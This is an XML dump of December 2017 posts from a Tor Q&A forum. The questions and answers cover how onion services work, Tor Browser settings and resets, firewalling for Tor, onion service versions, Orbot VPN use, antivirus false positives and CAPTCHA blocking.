  <row Id="16245" PostTypeId="2" ParentId="16244" CreationDate="2017-12-03T09:41:02.017" Score="3" Body="&lt;p&gt;defalt answered your question in a nutshell.  The solution Tor uses to hide your IP address, and nevertheless allows you to host a hidden service, is that it is the host of the hidden service that reaches out for the client through Tor circuits, so that the client or any other node never has to contact the service host directly.&#xA;This is a totally different model than what is used on &quot;the internet&quot;, where it is the client that takes the initiative to contact the server, and hence, the contact information of the host (DNS name/IP address) must be known: with Tor, it is the server that takes the initiative to contact the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, of course, the true initiative of first contact comes from the client.  This is where the &quot;rendez-vous point&quot; is used, which is at the initiative of the client, but which is waiting for the server to reach out for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor uses a kind of 2-tier model for this.  On the side of the server, the server announces its service to Tor-nodes called &quot;introduction points&quot;.   There are just random Tor relays willing to accept this job.  The server contacts them through Tor circuits, so these introduction points don't know the server's address, only that an anonymous server has announced a service, and gave a public key that goes with it.&#xA;These introduction points are made public on a database (their IP addresses will be known publicly as being introduction points to this service).  &lt;em&gt;The server regularly contacts these introduction points to find out whether any client wants to use his services.&lt;/em&gt;  That's the clue of this system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a client learns about this service and looks it up in the database, it will find the introduction points.  The client now connects through a Tor circuit to another random Tor relay, which will take up the function of a Rendez-vous point.  The client also connects to one of the publicly known introduction points of the service through yet another Tor circuit, to announce the desire to contact the service, and to inform about the RV point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the service contacts regularly its introduction points (through Tor circuits), it will find out about the client request on one of these Introduction points ; it can then contact the RV point through another Tor circuit, where both client and server are then connected through their respective Tor circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, the client and the server always remain hidden behind Tor circuits.  The introduction points are public, and the service has to poll them regularly to learn about clients desiring to contact him, and their RV points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RV point is the real &quot;point of contact&quot; between a given client and a given service but is entirely variable throughout the Tor network and has no specific relation, nor to the client, nor to the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At no point, any client or service gives out its IP address: they are always hidden behind Tor circuits.&lt;/p&gt;&#xA;" OwnerUserId="20271" OwnerDisplayName="entrop-x" LastActivityDate="2017-12-03T09:41:02.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16246" PostTypeId="2" ParentId="16226" CreationDate="2017-12-08T19:08:27.630" Score="0" Body="&lt;p&gt;If &quot;ALL&quot; the scripts are allowed to be execute on the TOR browser bundle. The website can check your timezone, your OS fingerprint and your browser. They may also check what all websites you are logged in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check what all your browser reveals about you. Head to &lt;a href=&quot;https://hidester.com/browser-fingerprint/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hidester&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="20270" LastActivityDate="2017-12-08T19:08:27.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16247" PostTypeId="1" CreationDate="2017-12-09T15:14:16.267" Score="0" ViewCount="683" Body="&lt;p&gt;I have used HTTrack for regular websites but I want to be able to create a local mirror of a site I can get to via the Tor Browser.  Is there such an application out there?  I run Windows 10 but can setup a Linux VM if that is what I need to be able to do this.&lt;/p&gt;&#xA;" OwnerUserId="20278" LastActivityDate="2021-12-21T11:01:10.183" Title="Is there a way to &quot;mirror&quot; a website that is a Tor site?" Tags="|tor-browser-bundle|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16250" PostTypeId="1" CreationDate="2017-12-10T07:40:33.117" Score="0" ViewCount="2258" Body="&lt;p&gt;Can someone offer a brief walk-through for firewalling Ubuntu 16 with UFW for tor. I only want to allow tor traffic out on my device. I'm not sure if it's even possible with UFW. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ufw default deny incoming&#xA;# ufw default deny outgoing&#xA;# ufw allow out on &amp;lt;wireless interface&amp;gt; to any proto tcp port 9001&#xA;# ......?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm certain this is wrong. Any info on this would be valued. Cheers.&lt;/p&gt;&#xA;" OwnerUserId="20282" LastActivityDate="2023-03-27T20:02:35.393" Title="Manually firewall Ubuntu for Tor?" Tags="|configuration|ubuntu|firewall|iptables|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16254" PostTypeId="1" AcceptedAnswerId="16257" CreationDate="2017-12-10T19:25:34.833" Score="1" ViewCount="152" Body="&lt;p&gt;How big of an issue is backwards compatibility on the Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is that my Onion v3 hidden service is set up and ready to go, however I am unsure when to discontinue my Onion v2 service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do most people use a fully up-to-date Tor browser or is it common for ancient versions to be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="18200" LastActivityDate="2017-12-10T23:46:15.267" Title="Backwards Compatibility on the Tor Network" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16255" PostTypeId="1" AcceptedAnswerId="16846" CreationDate="2017-12-10T19:41:20.037" Score="1" ViewCount="1032" Body="&lt;p&gt;I am using tor to play broswer games.&#xA;However, these games are heavy with visual content such as images and animations, and with Tor those are realy slow.&#xA;Is there a way to make Tor download plain HTML? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="20288" LastActivityDate="2018-09-07T13:44:41.960" Title="Make Tor download only HTML" Tags="|windows|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16256" PostTypeId="2" ParentId="15893" CreationDate="2017-12-10T21:47:41.323" Score="2" Body="&lt;pre&gt;&lt;code&gt;rm -r ~/Library/Application\ Support/TorBrowser-Data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;worked for me on macOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As noted on &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject.org&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DataDirectory DIR&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Store working data in DIR. Can not be changed while tor is running.&#xA;  (Default: ~/.tor if your home directory is not /; otherwise,&#xA;  @LOCALSTATEDIR@/lib/tor. On Windows, the default is your&#xA;  ApplicationData folder.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So on Linux one of the following might work;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rm -r ~/.tor&#xA;rm -r ~/.tor-browser-en&#xA;rm -r /usr/local/var/lib/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15149" LastActivityDate="2017-12-10T21:47:41.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16257" PostTypeId="2" ParentId="16254" CreationDate="2017-12-10T23:46:15.267" Score="0" Body="&lt;p&gt;Tor Browser auto updates so all users &lt;em&gt;should&lt;/em&gt; be on the latest version. Tor Browser updates are &lt;em&gt;normally&lt;/em&gt; accompanied by at least one security fix, so no one should ever be running old versions of Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However since the current stable Tor Browser only ships with Tor 0.3.1.x and &gt;=0.3.2.x (the current alpha series) is required to use v3 onion services, no one except those using the Tor Browser alpha series (currently 7.5a9) will be able to access v3 onions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't migrate until the stable Tor Browser release is shipping a version of Tor &gt;=0.3.2.x. There is no reason that you cannot run both services at the same time though.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-10T23:46:15.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16258" PostTypeId="2" ParentId="16255" CreationDate="2017-12-11T04:25:09.593" Score="1" Body="&lt;p&gt;First,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean download everything but images and animations, no, it's not possible. At least, not with the regular tor browser. You would have to make your own application where you would download the source code of the page and render it yourself using something like webkit. But that's a pain and you're probably better off without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, using tor to play games is not recommended at all. Most browser games use softwares like flash which can trick your computer to accidentally leak your actual IP. That makes the whole point of using tor useless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check this link for best practices&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20039" LastActivityDate="2017-12-11T04:25:09.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16259" PostTypeId="1" AcceptedAnswerId="16283" CreationDate="2017-12-11T17:18:30.617" Score="1" ViewCount="2857" Body="&lt;p&gt;I am new here so.. I'm having a rough day now, it's Tor the one responsible for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the issue comes from &quot;New Tor Circuit for this Site&quot; option, it appears to change ALL the tabs IP addresses instead of one I'm in.. What is going on? It's frustating ... Also I updated to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerDisplayName="user20292" LastEditorUserId="20069" LastEditDate="2017-12-11T20:17:55.820" LastActivityDate="2017-12-16T05:20:22.533" Title="&quot;New Tor Circuit for this Site&quot; changes all tabs IP addreses" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16260" PostTypeId="2" ParentId="16247" CreationDate="2017-12-11T17:52:17.273" Score="0" Body="&lt;p&gt;Yes. Choose one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use mirror software that natively supports proxying over socks5 and configure it to proxy over Tor/Tor Browser's socks port&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;torsocks&lt;/code&gt; or similar&lt;/li&gt;&#xA;&lt;li&gt;Run the mirror software on a computer/VM that transparently does everything over Tor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-11T17:52:17.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16261" PostTypeId="2" ParentId="16259" CreationDate="2017-12-11T17:57:36.383" Score="2" Body="&lt;p&gt;I cannot reproduce this issue. I have done the following. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have a reddit.com tab open and a facebook.com tab open.&lt;/li&gt;&#xA;&lt;li&gt;I select &quot;New Tor Circuit for this Site&quot; while on the Reddit tab&lt;/li&gt;&#xA;&lt;li&gt;The Reddit tab reloads and has a new circuit.&lt;/li&gt;&#xA;&lt;li&gt;I click on a link or refresh the Facebook tab and it continues using its original circuit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I open a second Reddit tab, the two Reddit tabs always use the same circuit. Perhaps this is what you are seeing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is by design. &quot;New Tor Circuit &lt;strong&gt;for this Site&lt;/strong&gt;&quot; means for &lt;em&gt;all tabs that are visiting &lt;strong&gt;this Site&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-11T17:57:36.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16267" PostTypeId="1" CreationDate="2017-12-13T01:09:31.510" Score="2" ViewCount="1603" Body="&lt;p&gt;I'm still having problems with captcha on tor. Now it is saying 'can't connect to the captcha' as well as 'Your computer or network may be sending automated queries. To protect our users, we can't process your request right now.' Can anyone help? Thanks&lt;/p&gt;&#xA;" OwnerUserId="19398" LastActivityDate="2022-03-29T11:02:50.250" Title="Captcha problem" Tags="|captcha|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16269" PostTypeId="1" CreationDate="2017-12-14T04:37:09.763" Score="1" ViewCount="403" Body="&lt;p&gt;Noob question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the message &quot;Please upgrade! This version of Tor (#.#.#.#) is not recommended, according to the directory authorities. Recommended versions are...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I ran &lt;code&gt;apt-get update &amp;amp;&amp;amp; apt-get upgrade&lt;/code&gt; (I'll have to look into unattended upgrades someday) and my tor relay got upgraded to 0.2.9.14 but it seems 0.3.1.9 is already released. Why wasn't I upgraded to 0.3.1.9?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there just a delay before it gets to Debian repositories? It just seems really far behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Raspbian Stretch Lite on a Raspberry Pi 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update, I can see from Debian's package search that I have the latest version for Debian Stretch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search is here:&#xA;&lt;a href=&quot;https://packages.debian.org/search?suite=default&amp;amp;section=all&amp;amp;arch=any&amp;amp;searchon=names&amp;amp;keywords=tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://packages.debian.org/search?suite=default&amp;amp;section=all&amp;amp;arch=any&amp;amp;searchon=names&amp;amp;keywords=tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still feeling outdated though. I want my relay to be better than everyone else's! :P&lt;/p&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2017-12-14T20:26:48.277" Title="Still running old version of relay after apt-get upgrade" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16270" PostTypeId="1" CreationDate="2017-12-14T16:05:34.940" Score="0" ViewCount="2950" Body="&lt;p&gt;When setting up Orbot / Android version, to utilize it's beta VPN. It takes me to a screen with my Apps and more, each check box is not checked. Is this telling me to check any App that I want it to go thru Orbot VPN, and if so, should I check all boxes or just items that use the web?&lt;/p&gt;&#xA;" OwnerUserId="20318" LastActivityDate="2022-03-24T12:04:05.290" Title="VPN SetUp, orbot android, do I check all boxes?" Tags="|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16271" PostTypeId="1" CreationDate="2017-12-14T17:27:13.607" Score="0" ViewCount="277" Body="&lt;p&gt;I have just downloaded the latest updated version 7.0.11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed some setting changes in the preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;History : &quot;Use Custom Settings For History&quot;.  I thought this would have been set to the &quot;Never Remember History by default&quot;? Im sure it was set to that on the older version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&quot;Accept Cookies Always&quot; was ticked and also Accept Third Party Cookies&quot; &quot;Always&quot; was ticked. I would have thought it would be Never by default?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when browsing there was a dropdown option by the Onion on the left of the browser that gave you options to Always Allow (Scripts?)(sorry cant remember what it said) for this page/site once or Forbid Scripts Globally or something along those lines if anyone can follow that. I cannot see this any longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While using the older browsers in the past when I got to a short link (sorry again) it is a link where you have to wait for a count down before you can proceed. it would not say continue as proxy detected. The only way past this was for me to choose to allow the script for this page only.&#xA;But using this latest browser it did not say this any longer, the short link just went through ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using the browser today but only just noticed these settings and wondered would it have been a problem Browsing being able to be Tracked today especially having the scripts being used on all sites if it was as as I have said, there was no option to choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also didnt really want my history/cookies showing/kept without having to clear them manually etc.&#xA;Thanks for any help and please use NewB replies if possible :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITE 1&#xA;Ok when I downloaded the browser bundle before, I put the search &quot;Tor&quot; in google which gave me this &lt;a href=&quot;https://www.google.co.uk/search?source=hp&amp;amp;ei=xVA0WsfbAc3QwALZgbO4Dg&amp;amp;q=tor&amp;amp;oq=tor&amp;amp;gs_l=psy-ab.3..0l10.2777.3149.0.3596.3.3.0.0.0.0.82.117.2.2.0....0...1c.1.64.psy-ab..1.2.117...0i131k1.0.rwqfgqwI7Po&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.co.uk/search?source=hp&amp;amp;ei=xVA0WsfbAc3QwALZgbO4Dg&amp;amp;q=tor&amp;amp;oq=tor&amp;amp;gs_l=psy-ab.3..0l10.2777.3149.0.3596.3.3.0.0.0.0.82.117.2.2.0....0...1c.1.64.psy-ab..1.2.117...0i131k1.0.rwqfgqwI7Po&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I downloaded it from the TOR link, when I said I could not see the scripts option on the left, it was because on the version I downloaded it was on the right of the window??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I go to the link you posted and download from there the window is back to how it used to be with the scripts option on the left next to the green onion?&#xA;&lt;a href=&quot;https://torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you go to both options to download and then click on the Home tab the headers/banners are different?&#xA;but both download windows look the same but give you two different browser windows.&#xA;In either one of them I download. all the changes I made to security etc is still the same on either download. A bit confusing if you can follow all that.&#xA;I should say Im on a Mac running Yosemite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2&#xA;I have downloaded the browser using both options and they are both the same now. but the were definitely different slightly. Wish I had taken a screen capture now.&#xA;Do you think the one could not have been the real browser bundle? but woth went to the same download url&#xA;One the first one the privacy slider was at the top like it has always been on the older versions, but on the link you gave the slider is at the lowest setting.&#xA;Funny how the privacy slider was at the top but the main browser window was different with the script option on the right of the screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last Edit&#xA;Ok last question..I hope and I do really appreciate your help.&#xA;If I delete the tor browser bundle and also delete the tor browser bundle and secure delete them on my mac, is there any trace of tor left on my mac, as in thumbnail images etc (nothing dodgy) &#xA;I may re-enstall it at a later date.&#xA;Thanks for all your advice/help.&lt;/p&gt;&#xA;" OwnerUserId="20320" LastEditorUserId="20320" LastEditDate="2017-12-16T00:35:32.780" LastActivityDate="2019-08-08T08:01:25.157" Title="New update and settings (newb)" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16272" PostTypeId="2" ParentId="16269" CreationDate="2017-12-14T20:26:48.277" Score="2" Body="&lt;p&gt;0.2.9.* is the current Long Term Support (LTS) series and is a perfectly fine series to be tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/teams/NetworkTeam/CoreTorReleases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/org/teams/NetworkTeam/CoreTorReleases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project's repositories will generally have versions in the newer stable series. Historically, Raspberry Pis had a CPU architecture that is incompatible with the &quot;armhf&quot; arch name that Debian uses, leading to issues. I &lt;strong&gt;think&lt;/strong&gt; rpi3 doesn't have that issue anymore. Read the warnings on the page and proceed at your own risk: &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-14T20:26:48.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16273" PostTypeId="2" ParentId="16271" CreationDate="2017-12-14T23:29:07.823" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Use Custom Settings For History&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is normal, and expected and has been this for as long as I can remember.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Accept Cookies Always&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is also expected, cookies are an important part of the web. For example you wouldn't be able to post questions on Stack Exchange without cookies or authenticate to most, if any, web services.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Accept Third Party Cookies&quot; &quot;Always&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This shouldn't be the case, you've probably made this change yourself or some other addon or changes you've made have resulted in it. On Tor Browser this is set to &quot;Never&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;a dropdown option by the Onion on the left of the browser that gave you options to Always Allow (Scripts?)&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is &lt;em&gt;NoScript&lt;/em&gt; and should still be there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;But using this latest browser it did not say this any longer, the short link just went through ok.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is something to do with the web service. There's no reason for this to change, maybe the exit you happened to be using wasn't on a blacklist or they made an exception for Tor users, but Tor Browser doesn't intentionally cause it to happen or not happen.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It sounds like something in your Tor Browser is broken:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure that you're downloading it from a legitimate source: &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure than when you install it you've removed the old one completely, if you're using the built in updater.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure that once downloaded you verify the download using the signature: &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/verifying-signatures.html.en&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-14T23:29:07.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16274" PostTypeId="2" ParentId="16270" CreationDate="2017-12-15T00:59:39.643" Score="0" Body="&lt;p&gt;I'd suggest using it for apps you want to use behind Tor, there are problems with picking random apps and sending them over Tor because many apps are very insecure and will, for example, send data in plaintext exposing them to risks from any potentially malicious exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best option is to pick privacy preserving apps, or apps that are designed to work with Tor, and use the VPN mode with them to help &lt;em&gt;enforce&lt;/em&gt; Tor use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But some apps seem to do things like use the WebView browser, which means that even if you pick the app itself to behind the VPN, using WebView seems to result in the connections originating from another app which may not use the VPN, resulting in leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases like that, you could put everything behind VPN mode to better enforce Tor usage but it's not the best solution to the problem because two apps, which you are using for two different identities, might use the same circuit and accidentally link the two identities together. Further, some apps might take issue with connections from Tor and it could result in your account being locked or closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, which to choose very much depends on your situation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have apps that are designed to work with Tor/Orbot like Orfox or ChatSecure, then you should use the VPN with them only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have apps that aren't then you might be best to VPN everything but that comes with the potential issues I've summarized above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-15T00:59:39.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16276" PostTypeId="1" CreationDate="2017-12-15T07:43:11.947" Score="0" ViewCount="1623" Body="&lt;p&gt;When i go to hidden wiki 95 percent of the websites will not open. I get a message that connection is timed out because the site took to long to respond I am new to this and I do not know what to try to fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="20325" LastActivityDate="2017-12-15T12:37:39.853" Title="problem loading page,connection timed out" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ClosedDate="2017-12-17T21:24:32.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="16277" PostTypeId="2" ParentId="16276" CreationDate="2017-12-15T12:37:39.853" Score="0" Body="&lt;p&gt;Most onion sites are run by amateurs and are thus going down temporarily/permanently all the time. This can be seemingly exacerbated by indexes not removing links that have been down for a significant length of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can access &quot;big&quot; onion services such as Facebook's (&lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt;) or DuckDuckGo's (&lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt;), then you're very likely trying to access onion services that are down. There's probably nothing wrong with your configuration.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-15T12:37:39.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16279" PostTypeId="1" CreationDate="2017-12-15T21:09:51.650" Score="0" ViewCount="175" Body="&lt;p&gt;/tor-browser/Browser/TorBrowser/Data/Browser/profile.default/extensions/https-everywhere-eff@eff.org.xpi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to ClamAV this file possibly contains a virus Status: PhishTank.Phishing.5378510.UNOFFICIAL Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="20335" LastActivityDate="2017-12-16T00:23:55.570" Title="ClamAV finds a possible virus in Tor-browser" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16280" PostTypeId="2" ParentId="16279" CreationDate="2017-12-16T00:23:55.570" Score="2" Body="&lt;p&gt;Virus scanners often end up with false positives. Every Tor Browser update generally results in some antivirus taking some issue with the new version of Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you downloaded the Tor Browser from a legitimate source, and if you verified the download to ensure that you got the correct file signed by the Tor Browser developers signing key, then it is safe to assume that it is not a virus.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-16T00:23:55.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16281" PostTypeId="1" CreationDate="2017-12-16T03:06:32.753" Score="1" ViewCount="146" Body="&lt;p&gt;I've read that the exit nodes are the bottleneck of the tor network, and I've also read the opposite. Did the answer change at some point or is it changing often?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to determine if the exit nodes are the bottlenecks &lt;em&gt;right now&lt;/em&gt; and/or just &quot;recently&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I'm wondering if I'm wasting my time by adding non-exit nodes if they're not needed, or if I'd be wasting my time trying to safely set up a new exit node when a new non-exit would help just as much.&lt;/p&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2017-12-16T03:06:32.753" Title="How to know if exit nodes are the bottleneck" Tags="|relays|exit-relays|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16282" PostTypeId="2" ParentId="16267" CreationDate="2017-12-16T03:27:24.690" Score="0" Body="&lt;p&gt;I recognize that message from Google Search. Unfortunately that's just the way it is for Google products. Bad guys on Tor sharing your exit node's IP get your IP blocked. Until Google differentiates between users in some way besides their IP, you'll rarely be able to use Google. It's this way for many other websites too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you can send feedback to Google so they know you care:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to google.com outside of tor if possible, search for anything such as just &quot;tor&quot;, go to the bottom of the page, click &quot;Send feedback&quot;, and write &quot;Google blocks my IP when I try to access Google Search over the Tor anonymity network.&quot; and hit &quot;SEND&quot;. (Don't write too much or get angry, it will only slow down anyone who's just trying to tally up the votes.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, just change your default search provider to duckduckgo.com. If you saw that message trying to sign up for a gmail account, try protonmail.com, which is basically email for tor users (but not just tor users). They won't block you. As a side benefit, duckduckgo doesn't track you, and protonmail servers are physically incapable of reading your mail with the way they set up the crypto.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind, the more tor users there are, the less sites will be able to afford blocking tor IPs outright. So don't let this stop you from using tor.&lt;/p&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2017-12-16T03:27:24.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
